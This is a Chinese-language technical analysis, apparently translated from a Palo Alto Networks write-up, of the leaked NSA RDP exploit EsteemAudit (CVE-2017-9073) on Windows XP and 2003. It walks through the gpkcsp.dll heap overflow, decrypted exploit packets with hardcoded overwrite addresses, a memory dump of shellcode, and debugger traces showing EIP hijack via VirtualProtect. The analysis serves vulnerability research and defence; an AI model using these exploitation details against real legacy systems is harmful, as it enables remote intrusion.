【技术分享】NSA武器库：CVE-2017-9073 EsteemAudit分析

【技术分享】NSA武器库：CVE-2017-9073 EsteemAudit分析

2017-06-05 14:50:26

阅读：1282次
点赞(0)
收藏
来源： paloaltonetworks.com

【技术分享】NSA武器库：CVE-2017-9073 EsteemAudit分析

作者：WeaponX

【技术分享】NSA武器库：CVE-2017-9073 EsteemAudit分析

翻译：WeaponX

预估稿费：200RMB

投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿

背景

四月份，一个名为“影子经纪人”的组织发布了一部分他们从NSA窃取的漏洞利用工具，主要是针对windows操作系统。其中最著名就是被勒索软件WanaCryp0t利用的exploit"EternalBlue"。另一个被放出利用工具针对的CVE-2017-9073叫做"EsteemAudit"，是一个Windows 2003和Windows XP上RDP(Remote Desktop Protocol，远程桌面协议)的利用工具。"EsteemAudit"利用的漏洞影响的操作系统微软均已不再支持(2014年结束对XP的支持，2015年结束对2003的支持)，所以微软官方并没有发布这个漏洞的补丁。

EsteemAudit 总览

RDP远程利用工具名为"EsteemAudit"。使用inter-chunk heap overflow方法。Windows智能卡模块的gpkcsp.dll分配的名为key_set，大小为0x24a8的数据结构。在key_set中有一个名为key_data的数据结构大小0x80，这个内存空间用来存放智能卡相关信息。在相邻的内存空间中中存储着两个key_object指针。然而，在gpkcsp!MyCPAcquireContext中调用了内存拷贝函数memcpy，在没有进行边界检查的情况下拷贝了一块用户可完全控制的数据到key_data中，如果攻击者控制的这块内存大于0x80，则相邻内存的指针key_object将会被用户的恶意数据覆盖。EsteemAudit中的代码通过部署一块0xb2-7大小的内存，利用代码中的memcpy拷贝恶意数据到key_data中，随后key_object会被覆盖为0x080190dc这个地址。这个地址正好在gpkcsp.dll的数据段中，随后EsteemAudit会在这个地址部署恶意数据。exploit会将用户控制的数据放到全局变量中去，地址是0x080190d8，随后函数gpkcsp!ReleaseProvider会释放C++对象call [vatble+8]，这时就控制了EIP。最终，通过使用SharedUserData技术使用syscall调用syscall id为0x8f的函数VirtualProtect修改shellcode内存的执行权限，然后调用shellcode第一阶段就完成了。

介绍

RDP远程代码执行漏洞很多，不过幸运的是在NT4/Win98后没有任何利用代码被公开发布。然而在2017年4月，影子经纪人公布出的从NSA窃取工具包含了Windows XP和Windows 2003操作系统上RDP远程代码执行漏洞的利用工具EsteemAudit。在本文中，我们将首先介绍RDP协议的内部机制，随后分析EsteemAudit.exe本身。接着，我们会分析RDP协议在用户态和内核态是如何工作的、inter-chunk heap overflow是如何发生的、如何利用inter-chunk heap overflow在有漏洞的操作系统上来执行shellcode。最终我们会介绍在没有patch的情况下如何防御这个漏洞。

架构和组件

终端服务架构主要分为四部分：

multi-user kernel

Remote Desktop client

Terminal Services Licensing service

Session Directory Services

下表是终端服务的组件及说明

Nicolas Collignon在论文中Tunneling TCP over RDP描述了各个组件之间的联系。

在内核态，相关的组件在rdpwd.sys中，负责MCS(Multipoint Communication Service)协议栈。RDP PDU(Protocol Data Unit，协议数据单元)在此模块被解密并解析。

在用户态，winlogon组件负责客户端的认证。例如，如果一个客户端请求智能卡认证，winlogon.exe会运行智能卡模块与客户端交互。

RDP 协议

通过对远程桌面服务的简要介绍，我们可以深入了解RDP协议中的被EsteemAudit利用的含有漏洞的模块。在MSDN中有一些RDP的说明文档https://msdn.microsoft.com/en-us/library/jj712081.aspx。[MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting介绍了RDP协议的基本情况，[MS-RDPESC]: Remote Desktop Protocol: Smart Card Virtual Channel Extension介绍了RDP协议的一些扩展模块。还有一些文档针对指定的扩展模块进行的描述，例如[MS-RDPESC]: Remote Desktop Protocol: Smart Card Virtual Channel Extension。在OSSIR 2010中，Aurélien Bordes在他的议题中列出了所有RDP的扩展模块。

为了深入分析，我们阅读了如下文档：

[MS-RDPBCGR] – Remote Desktop Protocol: Basic Connectivity and Graphics Remoting [MS-RDPESC] – Remote Desktop Protocol: Smart Card Virtual Channel Extension [MS-RDPEFS] – Remote Desktop Protocol: File System Virtual Channel Extension [MS-RPCE] – Remote Procedure Call Protocol Extensions.

MS-RDPBCGR基于ITU(International Telecommunication Union，国际电信联盟)的T.120系列协议。T.120包含很多其他的标准，例如使用X.224标准用来阐述传输层协议如何交互。X.224标准阐述了我们看到的request PDU和Confirm PDU需要使用何种加密方法进行RDP数据包加密。

在下放的示例中，X.224请求中的encryptionMethods标志位被设置成了0x00000012，代表客户端请求使用128-bit的RC4进行加密[128BIT_ENCRYPTION_FLAG 0x00000002]
【技术分享】NSA武器库：CVE-2017-9073 EsteemAudit分析

服务端在X.224 confirm PDU中设置encryptionMethod标志位0x00000002(128-bit RC4)确认使用128-bit RC4加密。

本文不再阐述RDP连接过程接下来的步骤，详细文档可在[MS-RDPBCGR] – Remote Desktop Protocol: Basic Connectivity and Graphics Remoting进行查阅。

RDP连接建立完成后，客户端和服务器段的PDU会使用协商的加密算法进行加密。下图是被加密的PDU实例

PDU中的数据如下

64000403eb708156->PERencoded(ALIGNEDvariantofBASIC-PER)SendDataRequest initiator=1005(0x03ed) channelId=1003(0x03eb) dataPriority=high segmentation=begin|end userDatalength=0x156=342bytes 4800->TS_SECURITY_HEADER::flags=0x00480x0048(SEC_INFO_PKT|SEC_ENCRYPT 0000->TS_SECURITY_HEADER::flagsHi–ignoredasflagsfielddoesnotcontainSEC_FLAGSHI_VALID(0x8000) 6f6d0cd5b70c5d7e->TS_SECURITY_HEADER1::dataSignature

以86 b8 8a a9开始，从偏移为0x51后剩余的数据TS_INFO_PACKET被加密

len 0178d2540000014a J… encrypted 038e3c8ba98ab886dabad90dd9d8f9e38dd5bafa……………. 038e3c9b1407ea51883cb6af21ca2bdbcab1e030Q…..<..+.!0… 038e3cabd6aaeccd1c5991711be8c40d96d651dc….q.Y……Q.. 038e3cbb2d018a22242aac0d7b58948f4be28b23“..-..*$..X{#..K 038e3ccb36cf54c652b709394064362b9e37e989.T.69..R+6d@..7. 038e3cdb9ff09b064f862c801546198aac9b03ed…..,.O..F….. 038e3ceb420acbdf566591c17f4711590e1d6906…B..eVY.G..i.. 038e3cfb906474f4476ea91e4db2edd2fb464bfd.td…nG…M.KF. plain 038e3c8b0000000000000133001a000000000000….3……….. 038e3c9b00000000006400610069006d0069006e….a.d.m.i.n.i. 038e3cab0074007300610072006f007400000072s.t.r.a.t.o.r… 038e3cbb00000000000200000031001c00320039……….1.9.2. 038e3ccb0031002e003800360032002e00320034..1.6.8…2.4.2. 038e3cdb0031002e003c0000003a00430057005c..1…<.C.:.\.W. 038e3ceb004e00490054004e0053005c00730079I.N.N.T.\.S.y.s. 038e3cfb006500740033006d005c00320073006dt.e.m.3.2.\.m.s. 我们可以通过文档[MS-RDPBCGR]查阅协议的细节来查看TS_INFO_PACKET。
【技术分享】NSA武器库：CVE-2017-9073 EsteemAudit分析

智能卡扩展

RDP协议支持客户端使用智能卡模式登录，根据文档[MS-RDPESC]交互的流程如下
【技术分享】NSA武器库：CVE-2017-9073 EsteemAudit分析

EsteemAudit使用SCARD_IOCTL_TRANSMIT与服务器端的智能卡模块进行交互。

文档描述了服务器端响应客户端的数据包的各种类型，其中包含了Transmit_Return类型

服务器端

RDP 利用工具 (EsteemAudit.exe)

了解RDP的基础知识后，我们看看EsteemAudit具体看了什么。EsteemAudit.exe类似于RDP客户端，完成了和服务器端的RDP协议交互。EsteemAudit使用了RDP协议中的智能卡扩展，向服务器端发送智能卡认证请求。随后RDP服务端会使用智能卡模块gpkcsp.dll处理收到的数据，漏洞在此出现。

EsteemAudit.exe 总览

通过逆向EsteemAudit二进制文件，在地址.text:00381009我们找到了名为GoRunExp的函数

GoRunExp àInitializeInputParameters//获取配置信息 àconnect2Target ààinitRDPLib ààemulateSmartCard ààconnect2RDP ààregisterCallback(CallBackFunction) àRecvProcessSendPackets àRdpLib_SendKeyStrokes//发送空格 àRecvProcessSendPackets àbuildExpBuffer ààbuild_all_x86 àààbuild_overflow_x86 àààbuild_exploit_x86 àààbuild_egg0_x86 ààà//设置认证码,异或掩码,打开载荷,etc àààbuild_egg1_payloadxxx àRdpLib_SendKeyStrokes//发送回车 àRecvProcessSendPackets … àRecvProcessSendPackets àà//发送智能卡认证重定向请求，接收和处理响应，与服务器端进行交互，随后发送ExpBuffer(包含overflowbuffer,exploit和egg0buffer)在服务器端控制EIP，最后发送结束响应给服务器端完成第一阶段利用。 àà//tobementioned,注册的回调函数connect2Target会被用来处理响应和打印一些类似与“SELECT_FILE–GPKCardMF”,“GET_RESPONSE–dataunitsize”,“GET_RESPONSE–serialnumber”的日志.

我们发现在准备阶段，完成了与目标机器的连接和构建漏洞利用数据包。RecvProcessSendPackets被多次调用用于接收和处理服务器端的响应、并根据响应来发送数据。RecvProcessSendPackets完成了与RDP服务器端利用智能卡交互的所有细节，我们会在接下来的章节中详细阐述。当然，我们会注重函数如何构造数据包而不会阐述函数的细节。

缓冲区溢出数据包分析

在构造用于溢出的数据包的时，仅有两个字段是有实际意义的：偏移为0x8d中的值、偏移为0x91值（0x9000），其他字段都是填充的随机数据。

为了观察客户端发送的完整的数据，我们查看了发送的用于溢出的数据包。

如前面章节所述，在偏移为0x51，名为TS_INFO_PACKET被加密过了。我们观察到了客户端中用来加密TS_INFO_PACKET数据的函数为Libeay32!RC4 function。

我们可以通过简单的调试获取到了RC4解密的函数原型RC4 function — RC4(key, len, in, out)

通过在解密函数前后下断点，可以得到加密前的数据和加密后的数据。

buimage00380000+0xab24“.echolen;dcesp+10L1;.echorc4_in_buffer;dcpoi(esp+8);gc” buimage00380000+0xab39“.echorc4_out_buffer;dcpoi(esp+0c);gc”

下面我们给出TS_INFO_PACKET的内容

len 0178cf98000000fc…. encrypted 038e8d6b0649efbadcb9b66bf63f676ca2ddcc3b..I.k…lg?.;… 038e8d7b56e1fb2ec9ed4e9cbf5669794d9e3868…V.N..yiV.h8.M 038e8d8b5dffb177af4531e2cd87df8418a3afffw..].1E……… 038e8d9b56c96e107dd116d9f1db47e2b65bba04.n.V…}.G….[. 038e8dab5d8892ca324864cb70bc479382be0c5b…].dH2.G.p[… 038e8dbbd5737937512ce12921738638ca18a61a7ys.).,Q8.s!…. 038e8dcb58a5f061fe8af8dbf6c40f83a975c925a..X……..%.u. 038e8ddb7da425618e0a740fb10381b2ef4f3c00a%.}.t…….<O. … decrypted 038e8d6b000000f4000000034943447200000000……..rDCI…. 038e8d7b0000000100000000000000e000081001……………. 038e8d8bcccccccc000000c00000000000000000……………. 038e8d9b00000000000000b200000001000000b2……………. 038e8dabfce3940bf2c3bad37134f185b595ac48……….4qH… 038e8dbb2d8186ec56e66ee1ca0e854fe618d890…-.n.VO……. 038e8dcbfcf78fcf6972d7228a3307d7e1715046….”.ri..3.FPq. 038e8ddb6d3184f27eb827350c1d6f4be6a262fe..1m5′.~Ko…b.. Protocoldetails[references:[MS-RDPESC].pdf,[MS-RDPEFS].pdf,[MS-RPCE].pdf] 000000f4->CodePage 00000003->Flags DeviceControlResponse(DR_CONTROL_RSP) ->DeviceIoReply(16bytes):DR_DEVICE_IOCOMPLETION 4472->RDPDR_CTYP_CORE0x4472 4943->PAKID_CORE_DEVICE_IOCOMPLETION0x4943 00000000->DeviceId(4bytes) 00000001->CompletionId(4bytes) 00000000->IoStatus(4bytes) 000000e0->OutputBufferLength(4bytes) ->OutputBuffer(variable) 00081001ccccccccTypeSerializationVersion1header 000000c0->ObjectBufferLength(4bytes) 00000000->Filler(4bytes) 00000000->ReturnCode 00000000->dwProtocol 000000b2->cbRecvLength ->pbExtraBytes 00000001000000b2 fce3940bf2c3bad37134f185b595ac48 2d8186ec56e66ee1ca0e854fe618d890 fcf78fcf6972d7228a3307d7e1715046 6d3184f27eb827350c1d6f4be6a262fe

继续执行程序，随后我们从内存中dump出了触发缓冲区溢出的两个关键字段

WINDBG>dc04fdd650+8d 04fdd6dd080190dc00009000d7d930159dd1e4b1.........0......

地址0x080190dc我们在前面的章节介绍过，不再阐述。

漏洞利用数据包分析

在构造数据包的过程中，我们发现了一些有趣的字段，如0x11111111, 0x22222222和0x7ffe0300

我们使用解密缓冲区溢出数据包的方法解密漏洞利用数据包，得到

encrypted 038e9d830d76b81e51331ed0b3b4b29dba4a1aaa..v…3Q……J. 038e9d93ad0b26e1c15daa1e20079871a18afe91.&….].q..…. 038e9da346d26828a8883de78b54718e33ebf243(h.F.=…qT.C..3 038e9db39d3d556bf8a4f6f84a29500c5d06bd19kU=……P)J…] 038e9dc3e60996044bc7dc6692103b5e6da27faa….f..K^;…..m 038e9dd307420e27c95b566479d50284f7bbd1d3‘.B.dV[….y…. 038e9de379c389e1f795e1cfbcb35b4d69d0ef0c…y….M[…..i 038e9df392beeadf9010b061763848d5bc032358….a….H8vX#.. … Decrypted 038e9d8300000204000000034943447200000000……..rDCI…. 038e9d930000000100000000000001f000081001……………. 038e9da3cccccccc000001d00000000000000000……………. 038e9db300000000000001c000000001000001c0……………. 038e9dc3ada0d86e08011e7a0801118e08005e85n…z……..^.. 038e9dd30800bedd111111112a6bd248972dc73e……..H.k*>.-. 038e9de3000000006431e6f008011fef08019078……1d….x… 038e9df3abc454912222222200000000316f482f.T..””””…./Ho1 …

漏洞利用数据包，也是一个Device Control Response(DR_CONTROL_RSP)，应为设置了标志为DR_DEVICE_IOCOMPLETION (0x49434472)。这和之前描述的缓冲区溢出的数据包一致。

第一阶段最后两个数据包是Select_MF和End Response。这里我们只展示被解密后的数据。

len 0178cf980000004cL… plain 038ead9b00000044000000034943447200000000D…….rDCI…. 038eadab00000001000000000000003000081001……..0……. 038eadbbcccccccc000000100000000000000000……………. 038eadcb00000000000000020000000100000002……………. 038eaddb000000900000000000000000

这里pExtraBytes长度为2，接下来的两个额外字节分别是90 00在服务器上会被智能卡模块处理。

len 0178cf980000003c

pExtraBytes长度为0，是一个结束的响应包。这个数据包完成了EsteemAudit与客户端的交互，接着我们看看服务器端如何处理这些数据。

RDP 服务器端

在看完EsteemAudit和RDP服务器端交互的数据包各个字段的具体含义后，接下来我们关注服务器端如何处理这些数据、漏洞是如何被触发的和如何完成漏洞利用。

内核态

下面列出的两个调用栈信息直接展示了DEVICE_IO的处理流程。termdd是一个核心分发器(dispatcher)，RDPWD负责MSC协议栈，我们可以通过函数RDPWD!MCSIcaRawInput获取从客户端发送的原始数据。接下来的一些函数会将前面提到的RDP协议一层一层的解析。

kd>k #ChildEBPRetAddr 00baf3b32cf6e134efrdpdr!DrExchangeManager::RecognizePacket+0x8 01baf3b350f6e12e34rdpdr!DrSession::ReadCompletion+0x95 02baf3b3688081d741rdpdr!DrSession::ReadCompletionRoutine+0x38 03baf3b398f76895d8nt!IopfCompleteRequest+0xcd 04baf3b3d4f768a0d2termdd!IcaChannelInputInternal+0x1f0 05baf3b3fcba1a26e1termdd!IcaChannelInput+0x3c 06baf3b430ba19c3c1RDPWD!WDW_OnDataReceived+0x181 07baf3b458ba19c1b9RDPWD!SM_MCSSendDataCallback+0x159 08baf3b4c0ba19bfe0RDPWD!HandleAllSendDataPDUs+0x155 09baf3b4dcba1b9ba4RDPWD!RecognizeMCSFrame+0x32 0abaf3b504ba19b06bRDPWD!MCSIcaRawInputWorker+0x346 0bbaf3b52cf768d194RDPWD!MCSIcaRawInput+0x65 0cbaf3b550baa92fcbtermdd!IcaRawInput+0x58 0dbaf3bd90f768c265TDTCP!TdInputThread+0x371 0ebaf3bdac809418f4termdd!_IcaDriverThread+0x4d 0fbaf3bddc80887f4ant!PspSystemThreadStartup+0x2e 100000000000000000nt!KiThreadStartup+0x16 kd>k #ChildEBPRetAddr 00f5a8b254f6e14f22rdpdr!RxLowIoCompletion+0x3a 01f5a8b260f6e15291rdpdr!DrDevice::CompleteRxContext+0x2a 02f5a8b284f6e158b0rdpdr!DrDevice::CompleteBusyExchange+0x4d 03f5a8b2ccf6e164b2rdpdr!DrDevice::OnDeviceControlCompletion+0x116 04f5a8b2f0f6e1269drdpdr!DrDevice::OnDeviceIoCompletion+0x1ee 05f5a8b310f6e1285ardpdr!DrExchangeManager::OnDeviceIoCompletion+0x55 06f5a8b324f6e1351frdpdr!DrExchangeManager::HandlePacket+0x26 07f5a8b350f6e12e34rdpdr!DrSession::ReadCompletion+0xc5 08f5a8b3688081d741rdpdr!DrSession::ReadCompletionRoutine+0x38 09f5a8b398f76c95d8nt!IopfCompleteRequest+0xcd 0af5a8b3d4f76ca0d2termdd!IcaChannelInputInternal+0x1f0 0bf5a8b3fcf53856e1termdd!IcaChannelInput+0x3c 0cf5a8b430f537f3c1RDPWD!WDW_OnDataReceived+0x181 0df5a8b458f537f1b9RDPWD!SM_MCSSendDataCallback+0x159 0ef5a8b4c0f537efe0RDPWD!HandleAllSendDataPDUs+0x155 0ff5a8b4dcf539cba4RDPWD!RecognizeMCSFrame+0x32 10f5a8b504f537e06bRDPWD!MCSIcaRawInputWorker+0x346 11f5a8b52cf76cd194RDPWD!MCSIcaRawInput+0x65 12f5a8b550f55b2fcbtermdd!IcaRawInput+0x58 13f5a8bd90f76cc265TDTCP!TdInputThread+0x371 14f5a8bdac809418f4termdd!_IcaDriverThread+0x4d 15f5a8bddc80887f4ant!PspSystemThreadStartup+0x2e 160000000000000000nt!KiThreadStartup+0x16

我们可以从IDA pro中的注释看到RDPWD!MCSIcaRawInputWorker调用RDPWD!RecognizeMCSFrame时srcBuf的内容。

我们还可以看到RDPWD!RecognizeMCSFrame如何解析PER

当MCS协议栈解析完成后，RDPWD会解析TS_DATA_INFO。TS_DATA_INFO中被加密的数据会被SM_MCSSendDataCallback调用SMDecryptPacket->DecryptData->rc4进行解密。

我们在可以在RDPWD!rc4下断点来看服务端解密前和解密后的数据，类似之前的libeay32。

接着SM_MCSSendDataCallback函数会调用WDW_OnDataReceived来处理被解密的数据。

随后，函数会调用termdd!IcaChannelInput来向不同的channel派发被解密的数据。这个例子中，EsteemAudit发送的缓冲区溢出数据包是DEVICE_IO类型的，且属于File System Virtual Channel Extension。将会被RDPDR模块解析。

我们在缓冲区溢出数据包中可以找到DR_DEVICE_IOCOMPLETION [MS-RDPEFS.pdf]头部 000000f4->CodePage 00000003->Flags DeviceControlResponse(DR_CONTROL_RSP) ->DeviceIoReply(16bytes):DR_DEVICE_IOCOMPLETION 4472->RDPDR_CTYP_CORE0x4472 4943->PAKID_CORE_DEVICE_IOCOMPLETION0x4943

在RDPDR模块中，我们可以看到虚表虚表中的函数被用来识别和处理数据包

如果服务器端收到了被标记为RDPDR_HEADER的数据包，对应的类会调用RecognizePacket函数

EsteemAudit发送的缓冲区溢出数据包和漏洞利用数据包设置了0x49434472的标志位。0x4472被设备重定向核心组件(Device redirector core component)使用，0x4943用来做Device I/O响应。

在识别数据包类型后，rdpdr!DrSession::ReadCompletion会调用HandlePacket来解析数据包。我们可以看到OnDeviceControlCompletion函数处理数据包头部。

在处理完数据包后，我们可以看到rdpdr!DrDevice::CompleteRxContext通过IO通知已经处理完成相关的数据包。其他模块被通知继续处理剩下的数据包，在这里是pbExtraBytes。

用户态

在用户态中，winlogon.exe调用了智能卡模块，类似gpkcsp，scredir和winscard来和客户端进行交互。

首先，我们看看函数调用栈。这个调用栈是从内核态向用户态拷贝用户发送的数据pbExtraBytes时的。我们可以看到客户端发送到服务器端的数据从内核态进入用户态的流程。

0:003>k ChildEBPRetAddr 00fce0585cd45619scredir!_CopyReturnToCallerBuffer 00fce104723642b0scredir!SCardTransmit+0x194 00fce18008005c32WinSCard!SCardTransmit+0x76 00fce1b00800921dgpkcsp!DoSCardTransmit+0x3d 00fce41c0800e2ddgpkcsp!WriteTimestamps+0x679 00fcf39c08004acbgpkcsp!MyCPAcquireContext+0x817 00fcf70877f50909gpkcsp!CPAcquireContext+0x26e 00fcf7cc77f50a5fADVAPI32!CryptAcquireContextA+0x55f 00fcf8340103fd78ADVAPI32!CryptAcquireContextW+0xa4 00fcf8640104086cwinlogon!CSCLogonInit::CryptCtx+0x75 00fcf874010408c1winlogon!CSCLogonInit::RelinquishCryptCtx+0x10 00fcf8980103a8f5winlogon!ScHelperGetCertFromLogonInfo+0x22 00fcf8bc77c50193winlogon!s_RPC_ScHelperGetCertFromLogonInfo+0x3f 00fcf8e077cb33e1RPCRT4!Invoke+0x30 00fcfce077cb35c4RPCRT4!NdrStubCall2+0x299 00fcfcfc77c4ff7aRPCRT4!NdrServerCall2+0x19 00fcfd3077c7e732RPCRT4!DispatchToStubInCNoAvrf+0x38 00fcfd4877c5042dRPCRT4!DispatchToStubInCAvrf+0x14 00fcfd9c77c50353RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x11f 00fcfdc077c511dcRPCRT4!RPC_INTERFACE::DispatchToStub+0xa3 00fcfdfc77c512f0RPCRT4!LRPC_SCALL::DealWithRequestMessage+0x42c 00fcfe2077c58678RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x127 00fcff8477c58792RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x430 00fcff8c77c5872dRPCRT4!RecvLotsaCallsWrapper+0xd 00fcffac77c4b110RPCRT4!BaseCachedThreadRoutine+0x9d 00fcffb87c824829RPCRT4!ThreadStartRoutine+0x1b WARNING:Stackunwindinformationnotavailable.Followingframesmaybewrong. 00fcffec00000000kernel32!GetModuleHandleA+0xdf

gpkcsp!MyCPAcquireContext这个函数是负责发送，接受和处理智能卡数据包的，且与EsteemAudit中的函数RecvProcessSendPackets是相关的。

在介绍这个函数前，我们先看看scredir!SCardTransmit。这个函数被函数gpkcsp!DoSCardTransmit调用，是发送和接受智能卡数据的基础函数。

函数_SendSCardIOCTL的第一个参数为0x900d0代表SCARD_IOCTL_TRANSMIT。发送数据的和接受数据的数据结构_Transmit_Call和_Transmit_Return之前已经介绍过了。随后Transmit_Return_Decode会解码并处理从内核中得到的数据。scredir!_CopyReturnToCallerBuffe这个函数拷贝的数据来自于客户端发送的数据，且为保存在地址0x080190d8中的全局变量。这意味这缓冲区溢出数据包和漏洞利用数据包的数据将会被拷贝到地址0x080190d8中。这就是为什么在缓冲区溢出数据包和漏洞利用数据包中有这个地址被硬编码地址的原因。

接下来我们介绍gpkcsp!MyCPAcquireContext函数和整个的利用过程。函数SCardEstablishContext和ConnectToCard的细节不在此阐述，不过我们会介绍程序处理缓冲区溢出包的流程。

这是一个名为ProvCont的全局变量，被存储在大小是0x24a8的堆中

0:003>dcgpkcsp!ProvCont(08176dd8) 08176dd802cdcb58X… 0:003>!heap-p-a0x2cdcb58 address02cdcb58foundin _DPH_HEAP_ROOT@3a1000 inbusyallocation(DPH_HEAP_BLOCK:UserAddrUserSize–VirtAddrVirtSize) 3a3c80:2cdcb5824a8–2cdc0004000 7c96d97antdll!RtlAllocateHeap+0x00000e9f 77b8d08cmsvcrt!malloc+0x0000006c 08012599gpkcsp!GMEM_Alloc+0x0000000e 0800a937gpkcsp!DllMain+0x00000090 080120fcgpkcsp!_DllMainCRTStartup+0x00000052 7c94a352ntdll!LdrpCallInitRoutine+0x00000014 7c963465ntdll!LdrpRunInitializeRoutines+0x00000367 7c964311ntdll!LdrpLoadDll+0x000003cd 7c964065ntdll!LdrLoadDll+0x00000198 7c801bf3kernel32!LoadLibraryExW+0x000001b2 7c801dbdkernel32!LoadLibraryExA+0x0000001f 7c801df3kernel32!LoadLibraryA+0x000000b5 77f42fefADVAPI32!CryptAcquireContextA+0x0000045c 77f50a5fADVAPI32!CryptAcquireContextW+0x000000a4 0103fd78winlogon!CSCLogonInit::CryptCtx+0x00000075 0104086cwinlogon!CSCLogonInit::RelinquishCryptCtx+0x00000010 010408c1winlogon!ScHelperGetCertFromLogonInfo+0x00000022 0103a8f5winlogon!s_RPC_ScHelperGetCertFromLogonInfo+0x0000003f 77c50193RPCRT4!Invoke+0x00000030 77cb33e1RPCRT4!NdrStubCall2+0x00000299 77cb35c4RPCRT4!NdrServerCall2+0x00000019 77c4ff7aRPCRT4!DispatchToStubInCNoAvrf+0x00000038 77c7e732RPCRT4!DispatchToStubInCAvrf+0x00000014 77c5042dRPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x0000011f 77c50353RPCRT4!RPC_INTERFACE::DispatchToStub+0x000000a3 77c511dcRPCRT4!LRPC_SCALL::DealWithRequestMessage+0x0000042c 77c512f0RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x00000127 77c58678RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x00000430 77c58792RPCRT4!RecvLotsaCallsWrapper+0x0000000d 77c5872dRPCRT4!BaseCachedThreadRoutine+0x0000009d 77c4b110RPCRT4!ThreadStartRoutine+0x0000001b 7c824829kernel32!BaseThreadStart+0x00000034
【技术分享】NSA武器库：CVE-2017-9073 EsteemAudit分析

调用DoSCardTransmit处理缓冲区溢出数据包并将数据包保存在0x080190d8后，MyCPAcquireContext初始化KeyData(0x80)并且从0x080190d8拷贝客户端发送的数据(大小为0x2b-7)到这块内存中

通过调试可以看到key_object的溢出情况

0:003>dc02cdcb58+a0+b8-20 02cdcc90b7314210544f2b0f34059cf0ead224e5.B1..+OT…4.$.. 02cdcca022ef2496b2dcb2689c36556f159e7181.$.”h…oU6..q.. 02cdccb0080190dc0000900070e2a252b67b7cc7……..R..p.|{. 02cdccc062937b2cafe0bbbd93606931dcdba152,{.b….1i`.R… 02cdccd000cd84d1000000000000000000000000……………. 02cdcce000000000000000000000000000000000……………. 02cdccf000000000000000000000000000000000……………. 02cdcd0000000000000000000000000000000000…………….

在溢出keyobject后，我们可以观察gpkcsp!MyCPAcquireContext如何处理接下来的数据包和EIP是如何被控制的。

我们注意到一个没有符号信息的函数sub_8009094调用DoSCardTransmit并拷贝expbuffer到0x080x90d8中，在Windows2003中这个地址没有ASLR保护并且存放用户发送的数据包中的原始数据。

0:003>dc080190d8L1c0/4 080190d8d26ccf6108011e7a0801118e08005e85a.l.z……..^.. 080190e80800bedd111111119d273fbee636c0ea………?’…6. 080190f800000000b02838fd08011fef08019078…..8(…..x… 080191083005123c2222222200000000f7a1d915<..0″”””…….. 0801911800004000080128cc0000008f7ffe0300.@…(………. 08019128080150740801914808019118fffffffftP..H……….. 08019138080191300801911800000040080191300…….@…0… 080191488b6404b006002d00c489000000e8c689..d..-………. 0801915890000000d5858b5d89000000858b0446….]…….F… 08019168000000d9310c4689104689c08b144689…..F.1..F..F.. 080191780000dd858b008b000000bc8018468900…………..F. 0801918800e1858b008b00008b1c46890000e585………F…… 0801919889008b00468b20462846890c4689c031….F.F..F(1..F 080191a800b5e82cc0850000468b66750846892c,…….uf.F,.F. 080191b82b0c468b89501046468b50e010460308.F.+F.P..P.F..F. 080191c850c03150ff1476ff76ff04761876ff20P1.P.v..v..v.v. 080191d8591c56ff8b144689c80110468b104689.V.Y.F..F….F.. 080191e84689084610468b2400d9853bc07c0000F..F$.F.;…..|. 080191f84689c031244e8b100189c8890471ff511..F..N$….Q.q. 08019208c083c889d0ff501403ebc0315048c031…..P..1…1.HP 08019218852c468b8b0e74c058e8105885000000.F,..t..X..X…. 08019228ff0274dbc3e431d3080192d800006346.t…1……Fc.. 0801923808176dd80800119c080011cc000012b8.m………….. 0801924824548d00c22ecd0418c200180057b800..T$……….W. 08019258548d00002ecd04246a0010c230006840…T$……j@h.0 08019268468d0000c03150282c468d5048c03150…F(P1.P.F,P1.H 08019278ffc6e85068c3ffff000080005028468dP……h…..F(P 08019288502c468d5048c031ffffc0e86578c3ff.F,P1.HP……xe

当漏洞利用数据包中的数据部署完成后，gpkcsp!MyCPAcquireContext处理ReleaseProvider路径。

此时在函数CryptDestroyKey中会利用C++类的虚表完成虚函数调用KeyObject->release

接下来的调试信息展示了如何控制EIP和执行shellcode。这个exploit利用了SharedUserData技术去调用KiFastSystemCall来执行函数VirtualProtect，将内存0x80190d8的属性设置成可写和执行，然后在地址0x8019148执行shellcode。这时exploit就完成了第一阶段的工作。

0:011>g08007c2b eax=080190dcebx=77f3f5b0ecx=02cdaff8edx=00000000esi=000000b8edi=00000000 eip=08007c2besp=02dfe40cebp=02dfe420iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!ReleaseProvider+0xef: 08007c2bffd3callebx{ADVAPI32!CryptDestroyKey(77f3f5b0)} 0:011> eax=00000001ebx=00000001ecx=77f50c75edx=00000000esi=080190dcedi=08019078 eip=77f3f615esp=02dfe3c0ebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 ADVAPI32!CryptDestroyKey+0x6e: 77f3f615ff5608calldwordptr[esi+8]ds:0023:080190e4=08005e85 0:011>t eax=00000001ebx=00000001ecx=77f50c75edx=00000000esi=080190dcedi=08019078 eip=08005e85esp=02dfe3bcebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!GetAppWindow+0x1c: 08005e858bc6moveax,esi 0:011> eax=080190dcebx=00000001ecx=77f50c75edx=00000000esi=080190dcedi=08019078 eip=08005e87esp=02dfe3bcebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!GetAppWindow+0x1e: 08005e875epopesi 0:011> eax=080190dcebx=00000001ecx=77f50c75edx=00000000esi=77f3f618edi=08019078 eip=08005e88esp=02dfe3c0ebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!GetAppWindow+0x1f: 08005e88c3ret 0:011>t eax=080190dcebx=00000001ecx=77f50c75edx=00000000esi=77f3f618edi=08019078 eip=0800beddesp=02dfe3c4ebp=02dfe404iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00000202 gpkcsp!funcCheck+0x129: 